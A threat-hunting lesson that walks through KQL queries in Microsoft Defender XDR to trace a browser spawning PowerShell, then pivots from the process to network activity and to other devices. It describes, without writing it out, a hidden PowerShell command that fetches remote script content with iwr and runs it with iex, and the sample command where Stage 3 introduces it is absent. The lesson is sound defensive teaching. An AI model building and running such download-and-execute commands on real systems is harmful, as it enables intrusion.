Lesson 141 — The Browser Spawned PowerShell

Case briefing

Stage 1 — find browser-to-PowerShell relationships

Begin with DeviceProcessEvents. Instead of searching for every PowerShell execution, constrain the investigation to PowerShell processes whose initiating process is a browser.

let TargetDevice = "WS-FIN-042";
DeviceProcessEvents
| where Timestamp > ago(24h)
| where DeviceName =~ TargetDevice
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessFileName in~ ("msedge.exe", "chrome.exe", "firefox.exe")
| project Timestamp,
          DeviceName,
          AccountName,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          FileName,
          ProcessCommandLine,
          SHA1,
          ProcessId,
          InitiatingProcessId
| order by Timestamp asc

Stage 2 — reconstruct the surrounding process timeline

Once you have the suspicious timestamp, widen the window. Ten minutes either side can reveal what the browser was doing before PowerShell appeared and what PowerShell launched afterwards.

let TargetDevice = "WS-FIN-042";
let TargetTime = datetime(2026-08-18 01:17:42);
DeviceProcessEvents
| where DeviceName =~ TargetDevice
| where Timestamp between (TargetTime - 10m .. TargetTime + 10m)
| project Timestamp,
          FileName,
          ProcessCommandLine,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          AccountName,
          ProcessId,
          InitiatingProcessId
| order by Timestamp asc

Stage 3 — interpret the PowerShell command

Imagine the process event contains a command similar to this:

Several features deserve investigation: hidden execution, a remote resource, iwr (Invoke-WebRequest) and content being passed to iex (Invoke-Expression). None should be judged from the keyword alone; together with an unexpected browser parent, they materially strengthen the suspicious chain.

Stage 4 — did PowerShell communicate externally?

Now pivot from process execution into DeviceNetworkEvents. Use the PowerShell process ID from the process evidence to look for network activity attributed to that process on the same device.

let TargetDevice = "WS-FIN-042";
let PowerShellPID = 6844;
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where DeviceName =~ TargetDevice
| where InitiatingProcessId == PowerShellPID
| project Timestamp,
          DeviceName,
          InitiatingProcessFileName,
          InitiatingProcessCommandLine,
          RemoteUrl,
          RemoteIP,
          RemotePort,
          Protocol,
          ActionType
| order by Timestamp asc

Stage 5 — pivot from the destination across the estate

The remote destination now becomes the next investigative entity. Ask whether other devices have contacted the same infrastructure.

let SuspiciousUrl = "cdn-update.example";
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has SuspiciousUrl
| summarize Connections=count(),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp),
            Devices=make_set(DeviceName, 50),
            Processes=make_set(InitiatingProcessFileName, 25)
          by RemoteUrl, RemoteIP
| order by Connections desc

Agent Foskett's endpoint timeline

Your evidence board

Write the finding like an investigator

Example: Microsoft Defender XDR process telemetry identified Microsoft Edge spawning PowerShell on WS-FIN-042 under the j.smith account. The PowerShell command line attempted to retrieve remote script content and pass it to an execution function while using a hidden window. Network telemetry recorded outbound activity attributed to the PowerShell process shortly afterwards. Taken together, the parent-child relationship, command behaviour and network correlation are consistent with suspicious browser-initiated PowerShell execution and warrant further investigation of subsequent file, process, persistence and lateral activity.

Lesson 141 key takeaways

• Do not classify PowerShell as malicious solely from its process name.
• Parent-child process relationships can provide the first important clue.
• DeviceProcessEvents lets you preserve process, command-line, account and initiating-process context.
• Reconstruct activity around the suspicious timestamp instead of reading one event alone.
• Translate command-line syntax into observable behaviour.
• Use process identifiers together with device and time context when pivoting.
• DeviceNetworkEvents can connect process execution to external communication.
• A remote IP or URL can become the next investigative entity.
• Prevalence is context, not proof.
• Every conclusion should remain traceable to the underlying telemetry.

Module 12 begins — Advanced Endpoint Investigation

Lesson 141 establishes the first link in our endpoint attack chain. In the lessons ahead we will examine encoded PowerShell, abnormal process trees, files appearing before execution, process-to-network correlation, registry persistence, hash prevalence, movement between devices and finally a complete endpoint compromise timeline.